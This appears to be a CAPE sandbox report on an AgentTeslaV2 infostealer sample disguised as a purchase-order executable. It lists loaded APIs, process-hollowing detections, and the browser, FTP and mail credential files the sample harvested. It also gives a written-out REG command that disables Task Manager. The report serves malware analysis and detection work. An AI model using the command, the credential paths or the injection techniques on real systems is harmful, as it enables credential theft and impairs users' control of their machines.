DynamicLoader: wbemsvc.dll/DllGetClassObject
DynamicLoader: wbemsvc.dll/DllCanUnloadNow
DynamicLoader: authZ.dll/AuthzInitializeContextFromToken
DynamicLoader: authZ.dll/AuthzInitializeObjectAccessAuditEvent2
DynamicLoader: authZ.dll/AuthzAccessCheck
DynamicLoader: authZ.dll/AuthzFreeAuditEvent
DynamicLoader: authZ.dll/AuthzFreeContext
DynamicLoader: authZ.dll/AuthzInitializeResourceManager
DynamicLoader: authZ.dll/AuthzFreeResourceManager
DynamicLoader: RPCRT4.dll/NdrClientCall2
DynamicLoader: RPCRT4.dll/RpcBindingCreateW
DynamicLoader: RPCRT4.dll/RpcBindingBind
DynamicLoader: RPCRT4.dll/I_RpcMapWin32Status
DynamicLoader: RPCRT4.dll/RpcBindingFree
DynamicLoader: ADVAPI32.dll/EventRegister
DynamicLoader: ADVAPI32.dll/EventUnregister
DynamicLoader: ADVAPI32.dll/EventWrite
DynamicLoader: ADVAPI32.dll/EventActivityIdControl
DynamicLoader: ADVAPI32.dll/EventWriteTransfer
DynamicLoader: ADVAPI32.dll/EventEnabled
DynamicLoader: kernel32.dll/RegCloseKey
DynamicLoader: kernel32.dll/RegSetValueExW
DynamicLoader: kernel32.dll/RegOpenKeyExW
DynamicLoader: kernel32.dll/RegQueryValueExW
DynamicLoader: kernel32.dll/RegCloseKey
DynamicLoader: wmisvc.dll/IsImproperShutdownDetected
DynamicLoader: Wevtapi.dll/EvtRender
DynamicLoader: Wevtapi.dll/EvtNext
DynamicLoader: Wevtapi.dll/EvtClose
DynamicLoader: Wevtapi.dll/EvtQuery
DynamicLoader: Wevtapi.dll/EvtCreateRenderContext
DynamicLoader: RPCRT4.dll/RpcStringBindingComposeW
DynamicLoader: RPCRT4.dll/RpcBindingFromStringBindingW
DynamicLoader: RPCRT4.dll/RpcBindingSetAuthInfoExW
DynamicLoader: RPCRT4.dll/RpcBindingSetOption
DynamicLoader: RPCRT4.dll/RpcStringFreeW
DynamicLoader: RPCRT4.dll/NdrClientCall2
DynamicLoader: RPCRT4.dll/RpcBindingFree
DynamicLoader: kernel32.dll/ResolveDelayLoadedAPI
DynamicLoader: ole32.dll/CoCreateFreeThreadedMarshaler
DynamicLoader: ole32.dll/CoGetMarshalSizeMax
DynamicLoader: ole32.dll/CreateStreamOnHGlobal
DynamicLoader: ole32.dll/CoMarshalInterface
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: KERNELBASE.dll/InitializeAcl
DynamicLoader: KERNELBASE.dll/AddAce
DynamicLoader: sechost.dll/LookupAccountSidLocalW
DynamicLoader: kernel32.dll/OpenProcessToken
DynamicLoader: KERNELBASE.dll/GetTokenInformation
DynamicLoader: KERNELBASE.dll/DuplicateTokenEx
DynamicLoader: KERNELBASE.dll/AdjustTokenPrivileges
DynamicLoader: KERNELBASE.dll/AllocateAndInitializeSid
DynamicLoader: KERNELBASE.dll/CheckTokenMembership
DynamicLoader: kernel32.dll/SetThreadToken
DynamicLoader: ole32.dll/CLSIDFromString
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: authZ.dll/AuthzInitializeContextFromToken
DynamicLoader: authZ.dll/AuthzInitializeResourceManager
DynamicLoader: authZ.dll/AuthzInitializeContextFromSid
DynamicLoader: authZ.dll/AuthzInitializeContextFromToken
DynamicLoader: authZ.dll/AuthzAccessCheck
DynamicLoader: authZ.dll/AuthzFreeContext
DynamicLoader: authZ.dll/AuthzFreeResourceManager
DynamicLoader: sechost.dll/LookupAccountSidLocalW
DynamicLoader: ole32.dll/CoGetClassObject
DynamicLoader: ole32.dll/CoGetCallContext
DynamicLoader: ole32.dll/StringFromGUID2
DynamicLoader: ole32.dll/CoImpersonateClient
DynamicLoader: ole32.dll/CoRevertToSelf
DynamicLoader: ole32.dll/CoSwitchCallContext
DynamicLoader: ole32.dll/CoCreateGuid
DynamicLoader: kernel32.dll/ResolveDelayLoadedAPI
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: SspiCli.dll/LogonUserExExW
DynamicLoader: wbemcore.dll/Reinitialize
DynamicLoader: wbemcore.dll/Reinitialize
DynamicLoader: wbemcore.dll/Reinitialize
DynamicLoader: OLEAUT32.dll/
DynamicLoader: wbemcore.dll/Reinitialize
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: api-ms-win-core-synch-l1-2-0.DLL/InitializeCriticalSectionEx
DynamicLoader: kernel32.dll/FlsAlloc
DynamicLoader: kernel32.dll/FlsSetValue
DynamicLoader: api-ms-win-core-synch-l1-2-0.DLL/InitializeCriticalSectionEx
DynamicLoader: kernel32.dll/FlsAlloc
DynamicLoader: kernel32.dll/FlsGetValue
DynamicLoader: kernel32.dll/FlsSetValue
DynamicLoader: kernel32.dll/LCMapStringEx
DynamicLoader: kernel32.dll/SetDefaultDllDirectories
DynamicLoader: api-ms-win-core-synch-l1-2-0.DLL/InitializeCriticalSectionEx
DynamicLoader: kernel32.dll/FlsAlloc
DynamicLoader: kernel32.dll/FlsSetValue
DynamicLoader: api-ms-win-core-synch-l1-2-0.DLL/InitializeCriticalSectionEx
DynamicLoader: kernel32.dll/FlsAlloc
DynamicLoader: kernel32.dll/FlsGetValue
DynamicLoader: kernel32.dll/FlsSetValue
DynamicLoader: kernel32.dll/LCMapStringEx
DynamicLoader: kernel32.dll/FlsAlloc
DynamicLoader: kernel32.dll/FlsFree
DynamicLoader: kernel32.dll/FlsGetValue
DynamicLoader: kernel32.dll/FlsSetValue
DynamicLoader: kernel32.dll/InitializeCriticalSectionEx
DynamicLoader: kernel32.dll/InitOnceExecuteOnce
DynamicLoader: kernel32.dll/CreateEventExW
DynamicLoader: kernel32.dll/CreateSemaphoreW
DynamicLoader: kernel32.dll/CreateSemaphoreExW
DynamicLoader: kernel32.dll/CreateThreadpoolTimer
DynamicLoader: kernel32.dll/SetThreadpoolTimer
DynamicLoader: kernel32.dll/WaitForThreadpoolTimerCallbacks
DynamicLoader: kernel32.dll/CloseThreadpoolTimer
DynamicLoader: kernel32.dll/CreateThreadpoolWait
DynamicLoader: kernel32.dll/SetThreadpoolWait
DynamicLoader: kernel32.dll/CloseThreadpoolWait
DynamicLoader: kernel32.dll/FlushProcessWriteBuffers
DynamicLoader: kernel32.dll/FreeLibraryWhenCallbackReturns
DynamicLoader: kernel32.dll/GetCurrentProcessorNumber
DynamicLoader: kernel32.dll/CreateSymbolicLinkW
DynamicLoader: kernel32.dll/GetCurrentPackageId
DynamicLoader: kernel32.dll/GetTickCount64
DynamicLoader: kernel32.dll/GetFileInformationByHandleEx
DynamicLoader: kernel32.dll/SetFileInformationByHandle
DynamicLoader: kernel32.dll/GetSystemTimePreciseAsFileTime
DynamicLoader: kernel32.dll/InitializeConditionVariable
DynamicLoader: kernel32.dll/WakeConditionVariable
DynamicLoader: kernel32.dll/WakeAllConditionVariable
DynamicLoader: kernel32.dll/SleepConditionVariableCS
DynamicLoader: kernel32.dll/InitializeSRWLock
DynamicLoader: kernel32.dll/AcquireSRWLockExclusive
DynamicLoader: kernel32.dll/TryAcquireSRWLockExclusive
DynamicLoader: kernel32.dll/ReleaseSRWLockExclusive
DynamicLoader: kernel32.dll/SleepConditionVariableSRW
DynamicLoader: kernel32.dll/CreateThreadpoolWork
DynamicLoader: kernel32.dll/SubmitThreadpoolWork
DynamicLoader: kernel32.dll/CloseThreadpoolWork
DynamicLoader: kernel32.dll/CompareStringEx
DynamicLoader: kernel32.dll/GetLocaleInfoEx
DynamicLoader: kernel32.dll/LCMapStringEx
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: goopdate.dll/DllEntry
DynamicLoader: kernel32.dll/FlsGetValue
DynamicLoader: kernel32.dll/RtlCaptureStackBackTrace
DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
DynamicLoader: kernel32.dll/CreateMutexExW
DynamicLoader: kernel32.dll/CreateEventExW
DynamicLoader: dbghelp.dll/MiniDumpWriteDump
DynamicLoader: RPCRT4.dll/UuidCreate
DynamicLoader: CRYPTBASE.dll/SystemFunction036
DynamicLoader: dbghelp.dll/MiniDumpWriteDump
DynamicLoader: RPCRT4.dll/UuidCreate
DynamicLoader: sechost.dll/LookupAccountNameLocalW
DynamicLoader: ADVAPI32.dll/LookupAccountSidW
DynamicLoader: sechost.dll/LookupAccountSidLocalW
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: RpcRtRemote.dll/I_RpcExtInitializeExtensionPoint
DynamicLoader: ole32.dll/CoGetClassObject
DynamicLoader: ole32.dll/CoGetMarshalSizeMax
DynamicLoader: ole32.dll/CoMarshalInterface
DynamicLoader: ole32.dll/CoUnmarshalInterface
DynamicLoader: ole32.dll/StringFromIID
DynamicLoader: ole32.dll/CoGetPSClsid
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: ole32.dll/CoReleaseMarshalData
DynamicLoader: ole32.dll/DcomChannelSetHResult
DynamicLoader: api-ms-win-core-synch-l1-2-0.DLL/InitializeCriticalSectionEx
DynamicLoader: kernel32.dll/FlsAlloc
DynamicLoader: kernel32.dll/FlsSetValue
DynamicLoader: api-ms-win-core-synch-l1-2-0.DLL/InitializeCriticalSectionEx
DynamicLoader: kernel32.dll/FlsAlloc
DynamicLoader: kernel32.dll/FlsGetValue
DynamicLoader: kernel32.dll/FlsSetValue
DynamicLoader: kernel32.dll/LCMapStringEx
DynamicLoader: kernel32.dll/FlsAlloc
DynamicLoader: kernel32.dll/FlsFree
DynamicLoader: kernel32.dll/FlsGetValue
DynamicLoader: kernel32.dll/FlsSetValue
DynamicLoader: kernel32.dll/InitializeCriticalSectionEx
DynamicLoader: kernel32.dll/InitOnceExecuteOnce
DynamicLoader: kernel32.dll/CreateEventExW
DynamicLoader: kernel32.dll/CreateSemaphoreW
DynamicLoader: kernel32.dll/CreateSemaphoreExW
DynamicLoader: kernel32.dll/CreateThreadpoolTimer
DynamicLoader: kernel32.dll/SetThreadpoolTimer
DynamicLoader: kernel32.dll/WaitForThreadpoolTimerCallbacks
DynamicLoader: kernel32.dll/CloseThreadpoolTimer
DynamicLoader: kernel32.dll/CreateThreadpoolWait
DynamicLoader: kernel32.dll/SetThreadpoolWait
DynamicLoader: kernel32.dll/CloseThreadpoolWait
DynamicLoader: kernel32.dll/FlushProcessWriteBuffers
DynamicLoader: kernel32.dll/FreeLibraryWhenCallbackReturns
DynamicLoader: kernel32.dll/GetCurrentProcessorNumber
DynamicLoader: kernel32.dll/CreateSymbolicLinkW
DynamicLoader: kernel32.dll/GetCurrentPackageId
DynamicLoader: kernel32.dll/GetTickCount64
DynamicLoader: kernel32.dll/GetFileInformationByHandleEx
DynamicLoader: kernel32.dll/SetFileInformationByHandle
DynamicLoader: kernel32.dll/GetSystemTimePreciseAsFileTime
DynamicLoader: kernel32.dll/InitializeConditionVariable
DynamicLoader: kernel32.dll/WakeConditionVariable
DynamicLoader: kernel32.dll/WakeAllConditionVariable
DynamicLoader: kernel32.dll/SleepConditionVariableCS
DynamicLoader: kernel32.dll/InitializeSRWLock
DynamicLoader: kernel32.dll/AcquireSRWLockExclusive
DynamicLoader: kernel32.dll/TryAcquireSRWLockExclusive
DynamicLoader: kernel32.dll/ReleaseSRWLockExclusive
DynamicLoader: kernel32.dll/SleepConditionVariableSRW
DynamicLoader: kernel32.dll/CreateThreadpoolWork
DynamicLoader: kernel32.dll/SubmitThreadpoolWork
DynamicLoader: kernel32.dll/CloseThreadpoolWork
DynamicLoader: kernel32.dll/CompareStringEx
DynamicLoader: kernel32.dll/GetLocaleInfoEx
DynamicLoader: kernel32.dll/LCMapStringEx
DynamicLoader: psmachine.dll/DllGetClassObject
DynamicLoader: psmachine.dll/DllCanUnloadNow
DynamicLoader: ole32.dll/CoGetMarshalSizeMax
DynamicLoader: ole32.dll/CoMarshalInterface
DynamicLoader: ole32.dll/CoUnmarshalInterface
DynamicLoader: ole32.dll/CoReleaseMarshalData
DynamicLoader: ADVAPI32.dll/RegOpenKeyW
DynamicLoader: ntdll.dll/RtlGetVersion
DynamicLoader: kernel32.dll/GetNativeSystemInfo
DynamicLoader: ntdll.dll/RtlGetVersion
DynamicLoader: kernel32.dll/FlsGetValue
DynamicLoader: winhttp.DLL/WinHttpAddRequestHeaders
DynamicLoader: winhttp.DLL/WinHttpCheckPlatform
DynamicLoader: winhttp.DLL/WinHttpCloseHandle
DynamicLoader: winhttp.DLL/WinHttpConnect
DynamicLoader: winhttp.DLL/WinHttpCrackUrl
DynamicLoader: winhttp.DLL/WinHttpCreateUrl
DynamicLoader: winhttp.DLL/WinHttpDetectAutoProxyConfigUrl
DynamicLoader: winhttp.DLL/WinHttpGetIEProxyConfigForCurrentUser
DynamicLoader: winhttp.DLL/WinHttpGetDefaultProxyConfiguration
DynamicLoader: winhttp.DLL/WinHttpGetProxyForUrl
DynamicLoader: winhttp.DLL/WinHttpOpen
DynamicLoader: winhttp.DLL/WinHttpOpenRequest
DynamicLoader: winhttp.DLL/WinHttpQueryAuthSchemes
DynamicLoader: winhttp.DLL/WinHttpQueryDataAvailable
DynamicLoader: winhttp.DLL/WinHttpQueryHeaders
DynamicLoader: winhttp.DLL/WinHttpQueryOption
DynamicLoader: winhttp.DLL/WinHttpReadData
DynamicLoader: winhttp.DLL/WinHttpReceiveResponse
DynamicLoader: winhttp.DLL/WinHttpSendRequest
DynamicLoader: winhttp.DLL/WinHttpSetDefaultProxyConfiguration
DynamicLoader: winhttp.DLL/WinHttpSetCredentials
DynamicLoader: winhttp.DLL/WinHttpSetOption
DynamicLoader: winhttp.DLL/WinHttpSetStatusCallback
DynamicLoader: winhttp.DLL/WinHttpSetTimeouts
DynamicLoader: winhttp.DLL/WinHttpWriteData
DynamicLoader: ADVAPI32.dll/SetThreadToken
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: ADVAPI32.dll/RegDeleteTreeA
DynamicLoader: ADVAPI32.dll/RegDeleteTreeW
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/StringFromIID
DynamicLoader: NSI.dll/NsiAllocateAndGetTable
DynamicLoader: CFGMGR32.dll/CM_Open_Class_Key_ExW
DynamicLoader: IPHLPAPI.DLL/ConvertInterfaceGuidToLuid
DynamicLoader: IPHLPAPI.DLL/GetIfEntry2
DynamicLoader: IPHLPAPI.DLL/GetIpForwardTable2
DynamicLoader: IPHLPAPI.DLL/GetIpNetEntry2
DynamicLoader: IPHLPAPI.DLL/FreeMibTable
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: NSI.dll/NsiFreeTable
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/RevertToSelf
DynamicLoader: ADVAPI32.dll/RegDeleteTreeA
DynamicLoader: ADVAPI32.dll/RegDeleteTreeW
DynamicLoader: ADVAPI32.dll/RegDeleteTreeA
DynamicLoader: ADVAPI32.dll/RegDeleteTreeW
DynamicLoader: SHLWAPI.dll/StrCmpNW
DynamicLoader: SHLWAPI.dll/
CAPE extracted potentially suspicious content
POs 097663899 NEW ORDER.r.exe: Unpacked Shellcode
RegSvcs.exe: Unpacked Shellcode
RegSvcs.exe: Unpacked Shellcode
RegSvcs.exe: Unpacked Shellcode
RegSvcs.exe: Unpacked Shellcode
POs 097663899 NEW ORDER.r.exe: Unpacked Shellcode
POs 097663899 NEW ORDER.r.exe: Unpacked Shellcode
POs 097663899 NEW ORDER.r.exe: Unpacked Shellcode
RegSvcs.exe: Unpacked Shellcode
RegSvcs.exe: Unpacked Shellcode
RegSvcs.exe: Unpacked Shellcode
RegSvcs.exe: Unpacked Shellcode
POs 097663899 NEW ORDER.r.exe: Injected Shellcode/Data
POs 097663899 NEW ORDER.r.exe: AgentTeslaV2 Payload: 32-bit executable
POs 097663899 NEW ORDER.r.exe: AgentTeslaV2
RegSvcs.exe: Unpacked Shellcode
POs 097663899 NEW ORDER.r.exe: Injected Shellcode/Data
Queries or connects to DNS-Over-HTTPS/DNS-Over-TLS domain or IP address
ip: 1.1.1.1
The binary likely contains encrypted or compressed data.
section: name: .text, entropy: 7.90, characteristics: IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ, raw_size: 0x0005f800, virtual_size: 0x0005f748
Authenticode signature is invalid
authenticode error: No signature found. SignTool Error File not valid C\Users\Rebecca\AppData\Local\Temp\POs 097663899 NEW ORDER.r.exe
Uses Windows utilities for basic functionality
command: REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System / v DisableTaskMgr / t REG_DWORD / d 1 / f
Behavioural detection: Injection (Process Hollowing)
Injection: POs 097663899 NEW ORDER.r.exe(4436) -> RegSvcs.exe(4444)
Executed a process and injected code into it, probably while unpacking
Injection: POs 097663899 NEW ORDER.r.exe(4436) -> RegSvcs.exe(4444)
Behavioural detection: Injection (inter-process)
Behavioural detection: Injection with CreateRemoteThread in a remote process
Attempts to repeatedly call a single API many times in order to delay analysis time
Spam: services.exe (464) called API GetSystemTimeAsFileTime 2464694 times
Steals private information from local Internet browsers
file: C:\Users\Rebecca\AppData\Roaming\Mozilla\Firefox\Profiles\48wgv2fv.default\key4.db
file: C:\Users\Rebecca\AppData\Local\Google\Chrome\User Data\Default\Login Data
file: C:\Users\Rebecca\AppData\Roaming\Mozilla\Firefox\profiles.ini
Attempts to bypass application whitelisting by executing .NET utility in a suspended state, potentially for injection
Process: POs 097663899 NEW ORDER.r.exe > C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
CAPE detected the AgentTeslaV2 malware family
Harvests credentials from local FTP client softwares
file: C:\Users\Rebecca\AppData\Roaming\FileZilla\recentservers.xml
file: C:\Users\Rebecca\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\*.xml
file: C:\Users\Rebecca\AppData\Roaming\FTPGetter\servers.xml
file: C:\Users\Rebecca\AppData\Roaming\Ipswitch\WS_FTP\Sites\ws_ftp.ini
file: C:\cftp\Ftplist.txt
key: HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites
Harvests information related to installed mail clients
file: C:\Users\Rebecca\AppData\Roaming\Thunderbird\profiles.ini
key: HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
key: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
key: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
The sample wrote data to the system hosts file.
Uses suspicious command line tools or Windows utilities
command: REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System / v DisableTaskMgr / t REG_DWORD / d 1 / f

Screenshots


Hosts

Direct IP Country Name
Y 8.8.8.8 [VT] United States
Y 1.1.1.1 [VT] Australia

DNS

No domains contacted.


Summary

C:\Windows\System32\MSCOREE.DLL.local
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Windows\Microsoft.NET\Framework\*
C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Users\Rebecca\AppData\Local\Temp\POs 097663899 NEW ORDER.r.exe.config
C:\Users\Rebecca\AppData\Local\Temp\POs 097663899 NEW ORDER.r.exe
C:\Windows\System32\api-ms-win-appmodel-runtime-l1-1-2.dll
C:\Windows\System32\api-ms-win-appmodel-runtime-l1-1-0.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSVCR120_CLR0400.dll
C:\Windows\System32\MSVCR120_CLR0400.dll
C:\Windows\System32\api-ms-win-core-quirks-l1-1-0.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\6715dc4d04e35f16d482900c355325e9\mscorlib.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\6715dc4d04e35f16d482900c355325e9\mscorlib.ni.dll.aux
C:\Users
C:\Users\Rebecca
C:\Users\Rebecca\AppData
C:\Users\Rebecca\AppData\Local
C:\Users\Rebecca\AppData\Local\Temp
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ole32.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\BamwEud\*
C:\Users\Rebecca\AppData\Local\Temp\POs 097663899 NEW ORDER.r.INI
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll
C:\Windows\assembly\pubpol224.dat
C:\Windows\assembly\GAC\PublisherPolicy.tme
C:\Windows\Microsoft.Net\assembly\GAC_32\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\aece3d371c0714e60f9509d2a3137395\System.Windows.Forms.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\aece3d371c0714e60f9509d2a3137395\System.Windows.Forms.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.dll
C:\Windows\Microsoft.Net\assembly\GAC_32\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\43822396682b0ffc3cfb66137ddab95f\System.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\43822396682b0ffc3cfb66137ddab95f\System.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll
C:\Windows\Microsoft.Net\assembly\GAC_32\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\2c462a934e0586ac5e46c8b93e461384\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\2c462a934e0586ac5e46c8b93e461384\System.Drawing.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Runtime.Serialization.Formatters.Soap\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.Serialization.Formatters.Soap.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll
C:\Users\Rebecca\AppData\Local\Temp\en-US\BamwEud.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en-US\BamwEud.resources\BamwEud.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en-US\BamwEud.resources.exe
C:\Users\Rebecca\AppData\Local\Temp\en-US\BamwEud.resources\BamwEud.resources.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
C:\Users\Rebecca\AppData\Local\Temp\en\BamwEud.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en\BamwEud.resources\BamwEud.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en\BamwEud.resources.exe
C:\Users\Rebecca\AppData\Local\Temp\en\BamwEud.resources\BamwEud.resources.exe
C:\Users\Rebecca\AppData\Local\Temp\POs 097663899 NEW ORDER.r.exe.Local\
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.24308_none_5c028e37a0121035
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.24308_none_5c028e37a0121035\GdiPlus.dll
C:\Windows\Microsoft.Net\assembly\GAC_32\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\6090b158fd3d10686b422a455e188125\Microsoft.VisualBasic.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\6090b158fd3d10686b422a455e188125\Microsoft.VisualBasic.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\*
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\c8a2021e940773064c655a6ea6ee8cb2\System.Core.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\c8a2021e940773064c655a6ea6ee8cb2\System.Core.ni.dll.aux
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml.Linq\v4.0_4.0.0.0__b77a5c561934e089\System.Xml.Linq.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SortDefault.nlp
C:\Users\Rebecca\AppData\Local\Temp\en-US\Lazarus.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en-US\Lazarus.resources\Lazarus.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en-US\Lazarus.resources.exe
C:\Users\Rebecca\AppData\Local\Temp\en-US\Lazarus.resources\Lazarus.resources.exe
C:\Users\Rebecca\AppData\Local\Temp\en\Lazarus.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en\Lazarus.resources\Lazarus.resources.dll
C:\Users\Rebecca\AppData\Local\Temp\en\Lazarus.resources.exe
C:\Users\Rebecca\AppData\Local\Temp\en\Lazarus.resources\Lazarus.resources.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe.config
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
C:\Windows
C:\Windows\Microsoft.NET
C:\Windows\Microsoft.NET\Framework
C:\Windows\Microsoft.NET\Framework\v4.0.30319
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe.Config
C:\Windows\assembly\NativeImages_v4.0.30319_32\NzHEhIOTCTB9eea39cb#\*
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.INI
C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll
C:\Windows\System32\wbem\wbemdisp.tlb
